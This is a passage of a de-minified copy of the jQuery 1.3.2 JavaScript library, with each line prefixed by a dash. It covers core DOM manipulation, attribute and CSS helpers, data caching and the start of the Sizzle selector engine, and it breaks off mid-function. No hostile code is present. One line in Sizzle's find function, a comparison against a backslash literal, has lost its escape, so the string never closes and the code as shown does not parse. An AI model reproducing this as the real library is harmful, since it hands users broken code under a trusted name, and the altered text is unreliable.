- /*
- * jQuery JavaScript Library v1.3.2
- * http://jquery.com/
- *
- * Copyright (c) 2009 John Resig
- * Dual licensed under the MIT and GPL licenses.
- * http://docs.jquery.com/License
- *
- * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
- * Revision: 6246
- */
- (function() {
- var l = this,
- g, y = l.jQuery,
- p = l.$,
- o = l.jQuery = l.$ = function(E, F) {
- return new o.fn.init(E, F)
- },
- D = /^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,
- f = /^.[^:#\[\.,]*$/;
- o.fn = o.prototype = {
- init: function(E, H) {
- E = E || document;
- if (E.nodeType) {
- this[0] = E;
- this.length = 1;
- this.context = E;
- return this
- }
- if (typeof E === "string") {
- var G = D.exec(E);
- if (G && (G[1] || !H)) {
- if (G[1]) {
- E = o.clean([G[1]], H)
- } else {
- var I = document.getElementById(G[3]);
- if (I && I.id != G[3]) {
- return o().find(E)
- }
- var F = o(I || []);
- F.context = document;
- F.selector = E;
- return F
- }
- } else {
- return o(H).find(E)
- }
- } else {
- if (o.isFunction(E)) {
- return o(document).ready(E)
- }
- }
- if (E.selector && E.context) {
- this.selector = E.selector;
- this.context = E.context
- }
- return this.setArray(o.isArray(E) ? E : o.makeArray(E))
- },
- selector: "",
- jquery: "1.3.2",
- size: function() {
- return this.length
- },
- get: function(E) {
- return E === g ? Array.prototype.slice.call(this) : this[E]
- },
- pushStack: function(F, H, E) {
- var G = o(F);
- G.prevObject = this;
- G.context = this.context;
- if (H === "find") {
- G.selector = this.selector + (this.selector ? " " : "") + E
- } else {
- if (H) {
- G.selector = this.selector + "." + H + "(" + E + ")"
- }
- }
- return G
- },
- setArray: function(E) {
- this.length = 0;
- Array.prototype.push.apply(this, E);
- return this
- },
- each: function(F, E) {
- return o.each(this, F, E)
- },
- index: function(E) {
- return o.inArray(E && E.jquery ? E[0] : E, this)
- },
- attr: function(F, H, G) {
- var E = F;
- if (typeof F === "string") {
- if (H === g) {
- return this[0] && o[G || "attr"](this[0], F)
- } else {
- E = {};
- E[F] = H
- }
- }
- return this.each(function(I) {
- for (F in E) {
- o.attr(G ? this.style : this, F, o.prop(this, E[F], G, I, F))
- }
- })
- },
- css: function(E, F) {
- if ((E == "width" || E == "height") && parseFloat(F) < 0) {
- F = g
- }
- return this.attr(E, F, "curCSS")
- },
- text: function(F) {
- if (typeof F !== "object" && F != null) {
- return this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(F))
- }
- var E = "";
- o.each(F || this, function() {
- o.each(this.childNodes, function() {
- if (this.nodeType != 8) {
- E += this.nodeType != 1 ? this.nodeValue : o.fn.text([this])
- }
- })
- });
- return E
- },
- wrapAll: function(E) {
- if (this[0]) {
- var F = o(E, this[0].ownerDocument).clone();
- if (this[0].parentNode) {
- F.insertBefore(this[0])
- }
- F.map(function() {
- var G = this;
- while (G.firstChild) {
- G = G.firstChild
- }
- return G
- }).append(this)
- }
- return this
- },
- wrapInner: function(E) {
- return this.each(function() {
- o(this).contents().wrapAll(E)
- })
- },
- wrap: function(E) {
- return this.each(function() {
- o(this).wrapAll(E)
- })
- },
- append: function() {
- return this.domManip(arguments, true, function(E) {
- if (this.nodeType == 1) {
- this.appendChild(E)
- }
- })
- },
- prepend: function() {
- return this.domManip(arguments, true, function(E) {
- if (this.nodeType == 1) {
- this.insertBefore(E, this.firstChild)
- }
- })
- },
- before: function() {
- return this.domManip(arguments, false, function(E) {
- this.parentNode.insertBefore(E, this)
- })
- },
- after: function() {
- return this.domManip(arguments, false, function(E) {
- this.parentNode.insertBefore(E, this.nextSibling)
- })
- },
- end: function() {
- return this.prevObject || o([])
- },
- push: [].push,
- sort: [].sort,
- splice: [].splice,
- find: function(E) {
- if (this.length === 1) {
- var F = this.pushStack([], "find", E);
- F.length = 0;
- o.find(E, this[0], F);
- return F
- } else {
- return this.pushStack(o.unique(o.map(this, function(G) {
- return o.find(E, G)
- })), "find", E)
- }
- },
- clone: function(G) {
- var E = this.map(function() {
- if (!o.support.noCloneEvent && !o.isXMLDoc(this)) {
- var I = this.outerHTML;
- if (!I) {
- var J = this.ownerDocument.createElement("div");
- J.appendChild(this.cloneNode(true));
- I = J.innerHTML
- }
- return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g, "").replace(/^\s*/, "")])[0]
- } else {
- return this.cloneNode(true)
- }
- });
- if (G === true) {
- var H = this.find("*").andSelf(),
- F = 0;
- E.find("*").andSelf().each(function() {
- if (this.nodeName !== H[F].nodeName) {
- return
- }
- var I = o.data(H[F], "events");
- for (var K in I) {
- for (var J in I[K]) {
- o.event.add(this, K, I[K][J], I[K][J].data)
- }
- }
- F++
- })
- }
- return E
- },
- filter: function(E) {
- return this.pushStack(o.isFunction(E) && o.grep(this, function(G, F) {
- return E.call(G, F)
- }) || o.multiFilter(E, o.grep(this, function(F) {
- return F.nodeType === 1
- })), "filter", E)
- },
- closest: function(E) {
- var G = o.expr.match.POS.test(E) ? o(E) : null,
- F = 0;
- return this.map(function() {
- var H = this;
- while (H && H.ownerDocument) {
- if (G ? G.index(H) > -1 : o(H).is(E)) {
- o.data(H, "closest", F);
- return H
- }
- H = H.parentNode;
- F++
- }
- })
- },
- not: function(E) {
- if (typeof E === "string") {
- if (f.test(E)) {
- return this.pushStack(o.multiFilter(E, this, true), "not", E)
- } else {
- E = o.multiFilter(E, this)
- }
- }
- var F = E.length && E[E.length - 1] !== g && !E.nodeType;
- return this.filter(function() {
- return F ? o.inArray(this, E) < 0 : this != E
- })
- },
- add: function(E) {
- return this.pushStack(o.unique(o.merge(this.get(), typeof E === "string" ? o(E) : o.makeArray(E))))
- },
- is: function(E) {
- return !!E && o.multiFilter(E, this).length > 0
- },
- hasClass: function(E) {
- return !!E && this.is("." + E)
- },
- val: function(K) {
- if (K === g) {
- var E = this[0];
- if (E) {
- if (o.nodeName(E, "option")) {
- return (E.attributes.value || {}).specified ? E.value : E.text
- }
- if (o.nodeName(E, "select")) {
- var I = E.selectedIndex,
- L = [],
- M = E.options,
- H = E.type == "select-one";
- if (I < 0) {
- return null
- }
- for (var F = H ? I : 0, J = H ? I + 1 : M.length; F < J; F++) {
- var G = M[F];
- if (G.selected) {
- K = o(G).val();
- if (H) {
- return K
- }
- L.push(K)
- }
- }
- return L
- }
- return (E.value || "").replace(/\r/g, "")
- }
- return g
- }
- if (typeof K === "number") {
- K += ""
- }
- return this.each(function() {
- if (this.nodeType != 1) {
- return
- }
- if (o.isArray(K) && /radio|checkbox/.test(this.type)) {
- this.checked = (o.inArray(this.value, K) >= 0 || o.inArray(this.name, K) >= 0)
- } else {
- if (o.nodeName(this, "select")) {
- var N = o.makeArray(K);
- o("option", this).each(function() {
- this.selected = (o.inArray(this.value, N) >= 0 || o.inArray(this.text, N) >= 0)
- });
- if (!N.length) {
- this.selectedIndex = -1
- }
- } else {
- this.value = K
- }
- }
- })
- },
- html: function(E) {
- return E === g ? (this[0] ? this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g, "") : null) : this.empty().append(E)
- },
- replaceWith: function(E) {
- return this.after(E).remove()
- },
- eq: function(E) {
- return this.slice(E, +E + 1)
- },
- slice: function() {
- return this.pushStack(Array.prototype.slice.apply(this, arguments), "slice", Array.prototype.slice.call(arguments).join(","))
- },
- map: function(E) {
- return this.pushStack(o.map(this, function(G, F) {
- return E.call(G, F, G)
- }))
- },
- andSelf: function() {
- return this.add(this.prevObject)
- },
- domManip: function(J, M, L) {
- if (this[0]) {
- var I = (this[0].ownerDocument || this[0]).createDocumentFragment(),
- F = o.clean(J, (this[0].ownerDocument || this[0]), I),
- H = I.firstChild;
- if (H) {
- for (var G = 0, E = this.length; G < E; G++) {
- L.call(K(this[G], H), this.length > 1 || G > 0 ? I.cloneNode(true) : I)
- }
- }
- if (F) {
- o.each(F, z)
- }
- }
- return this;
- function K(N, O) {
- return M && o.nodeName(N, "table") && o.nodeName(O, "tr") ? (N.getElementsByTagName("tbody")[0] || N.appendChild(N.ownerDocument.createElement("tbody"))) : N
- }
- }
- };
- o.fn.init.prototype = o.fn;
- function z(E, F) {
- if (F.src) {
- o.ajax({
- url: F.src,
- async: false,
- dataType: "script"
- })
- } else {
- o.globalEval(F.text || F.textContent || F.innerHTML || "")
- }
- if (F.parentNode) {
- F.parentNode.removeChild(F)
- }
- }
- function e() {
- return +new Date
- }
- o.extend = o.fn.extend = function() {
- var J = arguments[0] || {},
- H = 1,
- I = arguments.length,
- E = false,
- G;
- if (typeof J === "boolean") {
- E = J;
- J = arguments[1] || {};
- H = 2
- }
- if (typeof J !== "object" && !o.isFunction(J)) {
- J = {}
- }
- if (I == H) {
- J = this;
- --H
- }
- for (; H < I; H++) {
- if ((G = arguments[H]) != null) {
- for (var F in G) {
- var K = J[F],
- L = G[F];
- if (J === L) {
- continue
- }
- if (E && L && typeof L === "object" && !L.nodeType) {
- J[F] = o.extend(E, K || (L.length != null ? [] : {}), L)
- } else {
- if (L !== g) {
- J[F] = L
- }
- }
- }
- }
- }
- return J
- };
- var b = /z-?index|font-?weight|opacity|zoom|line-?height/i,
- q = document.defaultView || {},
- s = Object.prototype.toString;
- o.extend({
- noConflict: function(E) {
- l.$ = p;
- if (E) {
- l.jQuery = y
- }
- return o
- },
- isFunction: function(E) {
- return s.call(E) === "[object Function]"
- },
- isArray: function(E) {
- return s.call(E) === "[object Array]"
- },
- isXMLDoc: function(E) {
- return E.nodeType === 9 && E.documentElement.nodeName !== "HTML" || !! E.ownerDocument && o.isXMLDoc(E.ownerDocument)
- },
- globalEval: function(G) {
- if (G && /\S/.test(G)) {
- var F = document.getElementsByTagName("head")[0] || document.documentElement,
- E = document.createElement("script");
- E.type = "text/javascript";
- if (o.support.scriptEval) {
- E.appendChild(document.createTextNode(G))
- } else {
- E.text = G
- }
- F.insertBefore(E, F.firstChild);
- F.removeChild(E)
- }
- },
- nodeName: function(F, E) {
- return F.nodeName && F.nodeName.toUpperCase() == E.toUpperCase()
- },
- each: function(G, K, F) {
- var E, H = 0,
- I = G.length;
- if (F) {
- if (I === g) {
- for (E in G) {
- if (K.apply(G[E], F) === false) {
- break
- }
- }
- } else {
- for (; H < I;) {
- if (K.apply(G[H++], F) === false) {
- break
- }
- }
- }
- } else {
- if (I === g) {
- for (E in G) {
- if (K.call(G[E], E, G[E]) === false) {
- break
- }
- }
- } else {
- for (var J = G[0]; H < I && K.call(J, H, J) !== false; J = G[++H]) {}
- }
- }
- return G
- },
- prop: function(H, I, G, F, E) {
- if (o.isFunction(I)) {
- I = I.call(H, F)
- }
- return typeof I === "number" && G == "curCSS" && !b.test(E) ? I + "px" : I
- },
- className: {
- add: function(E, F) {
- o.each((F || "").split(/\s+/), function(G, H) {
- if (E.nodeType == 1 && !o.className.has(E.className, H)) {
- E.className += (E.className ? " " : "") + H
- }
- })
- },
- remove: function(E, F) {
- if (E.nodeType == 1) {
- E.className = F !== g ? o.grep(E.className.split(/\s+/), function(G) {
- return !o.className.has(F, G)
- }).join(" ") : ""
- }
- },
- has: function(F, E) {
- return F && o.inArray(E, (F.className || F).toString().split(/\s+/)) > -1
- }
- },
- swap: function(H, G, I) {
- var E = {};
- for (var F in G) {
- E[F] = H.style[F];
- H.style[F] = G[F]
- }
- I.call(H);
- for (var F in G) {
- H.style[F] = E[F]
- }
- },
- css: function(H, F, J, E) {
- if (F == "width" || F == "height") {
- var L, G = {
- position: "absolute",
- visibility: "hidden",
- display: "block"
- },
- K = F == "width" ? ["Left", "Right"] : ["Top", "Bottom"];
- function I() {
- L = F == "width" ? H.offsetWidth : H.offsetHeight;
- if (E === "border") {
- return
- }
- o.each(K, function() {
- if (!E) {
- L -= parseFloat(o.curCSS(H, "padding" + this, true)) || 0
- }
- if (E === "margin") {
- L += parseFloat(o.curCSS(H, "margin" + this, true)) || 0
- } else {
- L -= parseFloat(o.curCSS(H, "border" + this + "Width", true)) || 0
- }
- })
- }
- if (H.offsetWidth !== 0) {
- I()
- } else {
- o.swap(H, G, I)
- }
- return Math.max(0, Math.round(L))
- }
- return o.curCSS(H, F, J)
- },
- curCSS: function(I, F, G) {
- var L, E = I.style;
- if (F == "opacity" && !o.support.opacity) {
- L = o.attr(E, "opacity");
- return L == "" ? "1" : L
- }
- if (F.match(/float/i)) {
- F = w
- }
- if (!G && E && E[F]) {
- L = E[F]
- } else {
- if (q.getComputedStyle) {
- if (F.match(/float/i)) {
- F = "float"
- }
- F = F.replace(/([A-Z])/g, "-$1").toLowerCase();
- var M = q.getComputedStyle(I, null);
- if (M) {
- L = M.getPropertyValue(F)
- }
- if (F == "opacity" && L == "") {
- L = "1"
- }
- } else {
- if (I.currentStyle) {
- var J = F.replace(/\-(\w)/g, function(N, O) {
- return O.toUpperCase()
- });
- L = I.currentStyle[F] || I.currentStyle[J];
- if (!/^\d+(px)?$/i.test(L) && /^\d/.test(L)) {
- var H = E.left,
- K = I.runtimeStyle.left;
- I.runtimeStyle.left = I.currentStyle.left;
- E.left = L || 0;
- L = E.pixelLeft + "px";
- E.left = H;
- I.runtimeStyle.left = K
- }
- }
- }
- }
- return L
- },
- clean: function(F, K, I) {
- K = K || document;
- if (typeof K.createElement === "undefined") {
- K = K.ownerDocument || K[0] && K[0].ownerDocument || document
- }
- if (!I && F.length === 1 && typeof F[0] === "string") {
- var H = /^<(\w+)\s*\/?>$/.exec(F[0]);
- if (H) {
- return [K.createElement(H[1])]
- }
- }
- var G = [],
- E = [],
- L = K.createElement("div");
- o.each(F, function(P, S) {
- if (typeof S === "number") {
- S += ""
- }
- if (!S) {
- return
- }
- if (typeof S === "string") {
- S = S.replace(/(<(\w+)[^>]*?)\/>/g, function(U, V, T) {
- return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i) ? U : V + "></" + T + ">"
- });
- var O = S.replace(/^\s+/, "").substring(0, 10).toLowerCase();
- var Q = !O.indexOf("<opt") && [1, "<select multiple='multiple'>", "</select>"] || !O.indexOf("<leg") && [1, "<fieldset>", "</fieldset>"] || O.match(/^<(thead|tbody|tfoot|colg|cap)/) && [1, "<table>", "</table>"] || !O.indexOf("<tr") && [2, "<table><tbody>", "</tbody></table>"] || (!O.indexOf("<td") || !O.indexOf("<th")) && [3, "<table><tbody><tr>", "</tr></tbody></table>"] || !O.indexOf("<col") && [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"] || !o.support.htmlSerialize && [1, "div<div>", "</div>"] || [0, "", ""];
- L.innerHTML = Q[1] + S + Q[2];
- while (Q[0]--) {
- L = L.lastChild
- }
- if (!o.support.tbody) {
- var R = /<tbody/i.test(S),
- N = !O.indexOf("<table") && !R ? L.firstChild && L.firstChild.childNodes : Q[1] == "<table>" && !R ? L.childNodes : [];
- for (var M = N.length - 1; M >= 0; --M) {
- if (o.nodeName(N[M], "tbody") && !N[M].childNodes.length) {
- N[M].parentNode.removeChild(N[M])
- }
- }
- }
- if (!o.support.leadingWhitespace && /^\s/.test(S)) {
- L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]), L.firstChild)
- }
- S = o.makeArray(L.childNodes)
- }
- if (S.nodeType) {
- G.push(S)
- } else {
- G = o.merge(G, S)
- }
- });
- if (I) {
- for (var J = 0; G[J]; J++) {
- if (o.nodeName(G[J], "script") && (!G[J].type || G[J].type.toLowerCase() === "text/javascript")) {
- E.push(G[J].parentNode ? G[J].parentNode.removeChild(G[J]) : G[J])
- } else {
- if (G[J].nodeType === 1) {
- G.splice.apply(G, [J + 1, 0].concat(o.makeArray(G[J].getElementsByTagName("script"))))
- }
- I.appendChild(G[J])
- }
- }
- return E
- }
- return G
- },
- attr: function(J, G, K) {
- if (!J || J.nodeType == 3 || J.nodeType == 8) {
- return g
- }
- var H = !o.isXMLDoc(J),
- L = K !== g;
- G = H && o.props[G] || G;
- if (J.tagName) {
- var F = /href|src|style/.test(G);
- if (G == "selected" && J.parentNode) {
- J.parentNode.selectedIndex
- }
- if (G in J && H && !F) {
- if (L) {
- if (G == "type" && o.nodeName(J, "input") && J.parentNode) {
- throw "type property can't be changed"
- }
- J[G] = K
- }
- if (o.nodeName(J, "form") && J.getAttributeNode(G)) {
- return J.getAttributeNode(G).nodeValue
- }
- if (G == "tabIndex") {
- var I = J.getAttributeNode("tabIndex");
- return I && I.specified ? I.value : J.nodeName.match(/(button|input|object|select|textarea)/i) ? 0 : J.nodeName.match(/^(a|area)$/i) && J.href ? 0 : g
- }
- return J[G]
- }
- if (!o.support.style && H && G == "style") {
- return o.attr(J.style, "cssText", K)
- }
- if (L) {
- J.setAttribute(G, "" + K)
- }
- var E = !o.support.hrefNormalized && H && F ? J.getAttribute(G, 2) : J.getAttribute(G);
- return E === null ? g : E
- }
- if (!o.support.opacity && G == "opacity") {
- if (L) {
- J.zoom = 1;
- J.filter = (J.filter || "").replace(/alpha\([^)]*\)/, "") + (parseInt(K) + "" == "NaN" ? "" : "alpha(opacity=" + K * 100 + ")")
- }
- return J.filter && J.filter.indexOf("opacity=") >= 0 ? (parseFloat(J.filter.match(/opacity=([^)]*)/)[1]) / 100) + "" : ""
- }
- G = G.replace(/-([a-z])/ig, function(M, N) {
- return N.toUpperCase()
- });
- if (L) {
- J[G] = K
- }
- return J[G]
- },
- trim: function(E) {
- return (E || "").replace(/^\s+|\s+$/g, "")
- },
- makeArray: function(G) {
- var E = [];
- if (G != null) {
- var F = G.length;
- if (F == null || typeof G === "string" || o.isFunction(G) || G.setInterval) {
- E[0] = G
- } else {
- while (F) {
- E[--F] = G[F]
- }
- }
- }
- return E
- },
- inArray: function(G, H) {
- for (var E = 0, F = H.length; E < F; E++) {
- if (H[E] === G) {
- return E
- }
- }
- return -1
- },
- merge: function(H, E) {
- var F = 0,
- G, I = H.length;
- if (!o.support.getAll) {
- while ((G = E[F++]) != null) {
- if (G.nodeType != 8) {
- H[I++] = G
- }
- }
- } else {
- while ((G = E[F++]) != null) {
- H[I++] = G
- }
- }
- return H
- },
- unique: function(K) {
- var F = [],
- E = {};
- try {
- for (var G = 0, H = K.length; G < H; G++) {
- var J = o.data(K[G]);
- if (!E[J]) {
- E[J] = true;
- F.push(K[G])
- }
- }
- } catch (I) {
- F = K
- }
- return F
- },
- grep: function(F, J, E) {
- var G = [];
- for (var H = 0, I = F.length; H < I; H++) {
- if (!E != !J(F[H], H)) {
- G.push(F[H])
- }
- }
- return G
- },
- map: function(E, J) {
- var F = [];
- for (var G = 0, H = E.length; G < H; G++) {
- var I = J(E[G], G);
- if (I != null) {
- F[F.length] = I
- }
- }
- return F.concat.apply([], F)
- }
- });
- var C = navigator.userAgent.toLowerCase();
- o.browser = {
- version: (C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
- safari: /webkit/.test(C),
- opera: /opera/.test(C),
- msie: /msie/.test(C) && !/opera/.test(C),
- mozilla: /mozilla/.test(C) && !/(compatible|webkit)/.test(C)
- };
- o.each({
- parent: function(E) {
- return E.parentNode
- },
- parents: function(E) {
- return o.dir(E, "parentNode")
- },
- next: function(E) {
- return o.nth(E, 2, "nextSibling")
- },
- prev: function(E) {
- return o.nth(E, 2, "previousSibling")
- },
- nextAll: function(E) {
- return o.dir(E, "nextSibling")
- },
- prevAll: function(E) {
- return o.dir(E, "previousSibling")
- },
- siblings: function(E) {
- return o.sibling(E.parentNode.firstChild, E)
- },
- children: function(E) {
- return o.sibling(E.firstChild)
- },
- contents: function(E) {
- return o.nodeName(E, "iframe") ? E.contentDocument || E.contentWindow.document : o.makeArray(E.childNodes)
- }
- }, function(E, F) {
- o.fn[E] = function(G) {
- var H = o.map(this, F);
- if (G && typeof G == "string") {
- H = o.multiFilter(G, H)
- }
- return this.pushStack(o.unique(H), E, G)
- }
- });
- o.each({
- appendTo: "append",
- prependTo: "prepend",
- insertBefore: "before",
- insertAfter: "after",
- replaceAll: "replaceWith"
- }, function(E, F) {
- o.fn[E] = function(G) {
- var J = [],
- L = o(G);
- for (var K = 0, H = L.length; K < H; K++) {
- var I = (K > 0 ? this.clone(true) : this).get();
- o.fn[F].apply(o(L[K]), I);
- J = J.concat(I)
- }
- return this.pushStack(J, E, G)
- }
- });
- o.each({
- removeAttr: function(E) {
- o.attr(this, E, "");
- if (this.nodeType == 1) {
- this.removeAttribute(E)
- }
- },
- addClass: function(E) {
- o.className.add(this, E)
- },
- removeClass: function(E) {
- o.className.remove(this, E)
- },
- toggleClass: function(F, E) {
- if (typeof E !== "boolean") {
- E = !o.className.has(this, F)
- }
- o.className[E ? "add" : "remove"](this, F)
- },
- remove: function(E) {
- if (!E || o.filter(E, [this]).length) {
- o("*", this).add([this]).each(function() {
- o.event.remove(this);
- o.removeData(this)
- });
- if (this.parentNode) {
- this.parentNode.removeChild(this)
- }
- }
- },
- empty: function() {
- o(this).children().remove();
- while (this.firstChild) {
- this.removeChild(this.firstChild)
- }
- }
- }, function(E, F) {
- o.fn[E] = function() {
- return this.each(F, arguments)
- }
- });
- function j(E, F) {
- return E[0] && parseInt(o.curCSS(E[0], F, true), 10) || 0
- }
- var h = "jQuery" + e(),
- v = 0,
- A = {};
- o.extend({
- cache: {},
- data: function(F, E, G) {
- F = F == l ? A : F;
- var H = F[h];
- if (!H) {
- H = F[h] = ++v
- }
- if (E && !o.cache[H]) {
- o.cache[H] = {}
- }
- if (G !== g) {
- o.cache[H][E] = G
- }
- return E ? o.cache[H][E] : H
- },
- removeData: function(F, E) {
- F = F == l ? A : F;
- var H = F[h];
- if (E) {
- if (o.cache[H]) {
- delete o.cache[H][E];
- E = "";
- for (E in o.cache[H]) {
- break
- }
- if (!E) {
- o.removeData(F)
- }
- }
- } else {
- try {
- delete F[h]
- } catch (G) {
- if (F.removeAttribute) {
- F.removeAttribute(h)
- }
- }
- delete o.cache[H]
- }
- },
- queue: function(F, E, H) {
- if (F) {
- E = (E || "fx") + "queue";
- var G = o.data(F, E);
- if (!G || o.isArray(H)) {
- G = o.data(F, E, o.makeArray(H))
- } else {
- if (H) {
- G.push(H)
- }
- }
- }
- return G
- },
- dequeue: function(H, G) {
- var E = o.queue(H, G),
- F = E.shift();
- if (!G || G === "fx") {
- F = E[0]
- }
- if (F !== g) {
- F.call(H)
- }
- }
- });
- o.fn.extend({
- data: function(E, G) {
- var H = E.split(".");
- H[1] = H[1] ? "." + H[1] : "";
- if (G === g) {
- var F = this.triggerHandler("getData" + H[1] + "!", [H[0]]);
- if (F === g && this.length) {
- F = o.data(this[0], E)
- }
- return F === g && H[1] ? this.data(H[0]) : F
- } else {
- return this.trigger("setData" + H[1] + "!", [H[0], G]).each(function() {
- o.data(this, E, G)
- })
- }
- },
- removeData: function(E) {
- return this.each(function() {
- o.removeData(this, E)
- })
- },
- queue: function(E, F) {
- if (typeof E !== "string") {
- F = E;
- E = "fx"
- }
- if (F === g) {
- return o.queue(this[0], E)
- }
- return this.each(function() {
- var G = o.queue(this, E, F);
- if (E == "fx" && G.length == 1) {
- G[0].call(this)
- }
- })
- },
- dequeue: function(E) {
- return this.each(function() {
- o.dequeue(this, E)
- })
- }
- });
- /*
- * Sizzle CSS Selector Engine - v0.9.3
- * Copyright 2009, The Dojo Foundation
- * Released under the MIT, BSD, and GPL Licenses.
- * More information: http://sizzlejs.com/
- */
- (function() {
- var R = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,
- L = 0,
- H = Object.prototype.toString;
- var F = function(Y, U, ab, ac) {
- ab = ab || [];
- U = U || document;
- if (U.nodeType !== 1 && U.nodeType !== 9) {
- return []
- }
- if (!Y || typeof Y !== "string") {
- return ab
- }
- var Z = [],
- W, af, ai, T, ad, V, X = true;
- R.lastIndex = 0;
- while ((W = R.exec(Y)) !== null) {
- Z.push(W[1]);
- if (W[2]) {
- V = RegExp.rightContext;
- break
- }
- }
- if (Z.length > 1 && M.exec(Y)) {
- if (Z.length === 2 && I.relative[Z[0]]) {
- af = J(Z[0] + Z[1], U)
- } else {
- af = I.relative[Z[0]] ? [U] : F(Z.shift(), U);
- while (Z.length) {
- Y = Z.shift();
- if (I.relative[Y]) {
- Y += Z.shift()
- }
- af = J(Y, af)
- }
- }
- } else {
- var ae = ac ? {
- expr: Z.pop(),
- set: E(ac)
- } : F.find(Z.pop(), Z.length === 1 && U.parentNode ? U.parentNode : U, Q(U));
- af = F.filter(ae.expr, ae.set);
- if (Z.length > 0) {
- ai = E(af)
- } else {
- X = false
- }
- while (Z.length) {
- var ah = Z.pop(),
- ag = ah;
- if (!I.relative[ah]) {
- ah = ""
- } else {
- ag = Z.pop()
- }
- if (ag == null) {
- ag = U
- }
- I.relative[ah](ai, ag, Q(U))
- }
- }
- if (!ai) {
- ai = af
- }
- if (!ai) {
- throw "Syntax error, unrecognized expression: " + (ah || Y)
- }
- if (H.call(ai) === "[object Array]") {
- if (!X) {
- ab.push.apply(ab, ai)
- } else {
- if (U.nodeType === 1) {
- for (var aa = 0; ai[aa] != null; aa++) {
- if (ai[aa] && (ai[aa] === true || ai[aa].nodeType === 1 && K(U, ai[aa]))) {
- ab.push(af[aa])
- }
- }
- } else {
- for (var aa = 0; ai[aa] != null; aa++) {
- if (ai[aa] && ai[aa].nodeType === 1) {
- ab.push(af[aa])
- }
- }
- }
- }
- } else {
- E(ai, ab)
- }
- if (V) {
- F(V, U, ab, ac);
- if (G) {
- hasDuplicate = false;
- ab.sort(G);
- if (hasDuplicate) {
- for (var aa = 1; aa < ab.length; aa++) {
- if (ab[aa] === ab[aa - 1]) {
- ab.splice(aa--, 1)
- }
- }
- }
- }
- }
- return ab
- };
- F.matches = function(T, U) {
- return F(T, null, null, U)
- };
- F.find = function(aa, T, ab) {
- var Z, X;
- if (!aa) {
- return []
- }
- for (var W = 0, V = I.order.length; W < V; W++) {
- var Y = I.order[W],
- X;
- if ((X = I.match[Y].exec(aa))) {
- var U = RegExp.leftContext;
- if (U.substr(U.length - 1) !== "\") {
- X[1] = (X[1] || "").replace(/\\/g, "");
- Z = I.find[Y](X, T, ab);
- if (Z != null) {
- aa = aa.replace(I.match[Y], "");
- break
- }
- }
- }
- }
- if (!Z) {
- Z = T.getElementsByTagName("*")
- }
- return {
- set: Z,
- expr: aa
- }
- };
- F.filter = function(ad, ac, ag, W) {
- var V = ad,
- ai = [],
- aa = ac,
- Y, T, Z = ac && ac[0] && Q(ac[0]);
- while (ad && ac.length) {
- for (var ab in I.filter) {
- if ((Y = I.match[ab].exec(ad)) != null) {
- var U = I.filter[ab],
- ah, af;
- T = false;
- if (aa == ai) {
- ai = []
- }
- if (I.preFilter[ab]) {
- Y = I.preFilter[ab](Y, aa, ag, ai, W, Z);
- if (!Y) {
- T = ah = true
- } else {
- if (Y === true) {
- continue
- }
- }
- }
- if (Y) {
- for (var X = 0;
- (af = aa[X]) != null; X++) {
- if (af) {
- ah = U(af, Y, X, aa);
- var ae = W ^ !! ah;
- if (ag && ah != null) {
- if (ae) {
- T = true
- } else {
- aa[X] = false
- }
- } else {
- if (ae) {
- ai.push(af);
- T = true
- }
- }
- }
- }
- }
- if (ah !== g) {
- if (!ag) {
- aa = ai
- }
- ad = ad.replace(I.match[ab], "");
- if (!T) {
- return []
- }
- break
- }
- }
- }
- if (ad == V) {
- if (T == null) {
- throw "Syntax error, unrecognized expression: " + ad
- } else {
- break
- }
- }
- V = ad
- }
- return aa
- };
- var I = F.selectors = {
- order: ["ID", "NAME", "TAG"],
- match: {
- ID: /#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,
- CLASS: /\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,
- NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,
- ATTR: /\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
- TAG: /^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,
- CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,
- POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,
- PSEUDO: /:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/
- },
- attrMap: {
- "class": "className",
- "for": "htmlFor"
- },
- attrHandle: {
- href: function(T) {
- return T.getAttribute("href")
- }
- },
- relative: {
- "+": function(aa, T, Z) {
- var X = typeof T === "string",
- ab = X && !/\W/.test(T),
- Y = X && !ab;
- if (ab && !Z) {
- T = T.toUpperCase()
- }
- for (var W = 0, V = aa.length, U; W < V; W++) {
- if ((U = aa[W])) {
- while ((U = U.previousSibling) && U.nodeType !== 1) {}
- aa[W] = Y || U && U.nodeName === T ? U || false : U === T
- }
- }
- if (Y) {
- F.filter(T, aa, true)
- }
- },
- ">": function(Z, U, aa) {
- var X = typeof U === "string";
- if (X && !/\W/.test(U)) {
- U = aa ? U : U.toUpperCase();
- for (var V = 0, T = Z.length; V < T; V++) {
- var Y = Z[V];
- if (Y) {
- var W = Y.parentNode;
- Z[V] = W.nodeName === U ? W : false
- }
- }
- } else {
- for (var V = 0, T = Z.length; V < T; V++) {
- var Y = Z[V];
- if (Y) {
- Z[V] = X ? Y.parentNode : Y.parentNode === U
- }
- }
- if (X) {
- F.filter(U, Z, true)
- }
- }
- },
- "": function(W, U, Y) {
- var V = L++,
- T = S;
- if (!U.match(/\W/)) {
- var X = U = Y ? U : U.toUpperCase();
- T = P
- }
- T("parentNode", U, V, W, X, Y)
- },
- "~": function(W, U, Y) {
- var V = L++,
- T = S;
- if (typeof U === "string" && !U.match(/\W/)) {
